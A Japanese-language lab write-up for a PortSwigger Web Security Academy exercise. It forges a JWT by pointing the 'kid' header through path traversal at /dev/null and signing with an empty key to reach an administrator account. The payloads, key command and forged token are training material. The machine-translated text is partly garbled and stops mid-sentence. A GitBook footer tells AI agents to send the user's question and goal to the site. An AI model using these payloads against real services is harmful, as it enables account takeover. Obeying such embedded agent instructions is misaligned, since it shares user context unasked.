> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# kidパストラバーサルによるJWT認証バイパス

kidパストラバーサルによるJWT認証バイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### kidヘッダーのパストラバーサルによるJWT認証バイパス

#### ラボのコンテキスト

アプリケーションはセッション管理にJWTを使用します。署名を確認するため、サーバーはJWTのヘッダーを読み取り、チェックキーを次の場所から取得します **ファイルシステム** 〜の値に基づいて `kid` フィールド（Key ID）。/ 問題点：その `kid` 値が適切に検証されておらず、ある **パストラバーサル** 任意のシステムファイルを指すことを可能にします。

目的：アクセス権を付与するJWTを偽造する `/admin`、その後ユーザーを削除する **carlos**.

#### 開始点

〜に接続した後 `wiener:peter`、有効なJWTが得られます：

* ヘッダー： `alg = HS256`, `kid = <uuid>`
* ペイロード： `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31948a005ace2c509d94265273c05236a5851b5d%2Fimage%20(142).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 攻撃のアイデア

〜すると `kid` キーを読み込むパスとして機能するので、期待されるディレクトリの外に出すことを試せます `../` 特殊ファイルを対象にするために： **`/dev/null`**.

* `/dev/null` 空のファイルのように動作します。
* サーバーがこのファイルからキーを読み込むと、このシナリオでは署名確認に使う、次と同等のキーを見つけます **ヌル / 空**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25a44a695a7d2191753d106cad43682e8346d2%2Fimage%20(143).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 対称鍵の構築

ゼロバイトを生成し、Base64でエンコードします：

* コマンド：

```bash
echo -ne '/0' | base64

AA==
```

次に、対称JWK（`kty: oct`）の鍵（`k`）は `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

（このJWKは `kid` ここでは単なるツール側の識別子として機能します。これは `k` 値です。）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bfa4412eed48aebab96012eb35c176045fe4a7c0%2Fimage%20(144).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 悪用： `kid` 〜へのトラバーサル `/dev/null`

次に、JWTのヘッダーを、〜を指すように変更します `kid` に `/dev/null` トラバーサル経由で：

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

次に、〜を変更します `sub` ペイロード内の値を管理者アカウントに変更します（あなたの場合 `administrator`）そして、JWTにHS256で「nulle」キーを使って署名します（`AA==`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf1a2d257dbf01476c52b9ffe890b23b23acd578%2Fimage%20(145).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 結果

最終的に偽造したJWT（提供するもの）：

* `kid` 〜までたどります `/dev/null`
* `alg` のまま `HS256`
* `sub` 〜になります `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c81425ff2b33e76d83a9cee763d29519e0cce57%2Fimage%20(146).png?alt=media" alt=""><figcaption></figcaption></figure>

サーバーはトークンを\*\*受け入れ\*\*ます：それは、 `kid` パス解決が使用可能であり、署名チェックが対象ファイルから導出されたキーで行われていることを確認します（ここでは

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47eded1f168fa3654aacadb16461ab7d54313b75%2Fimage%20(147).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
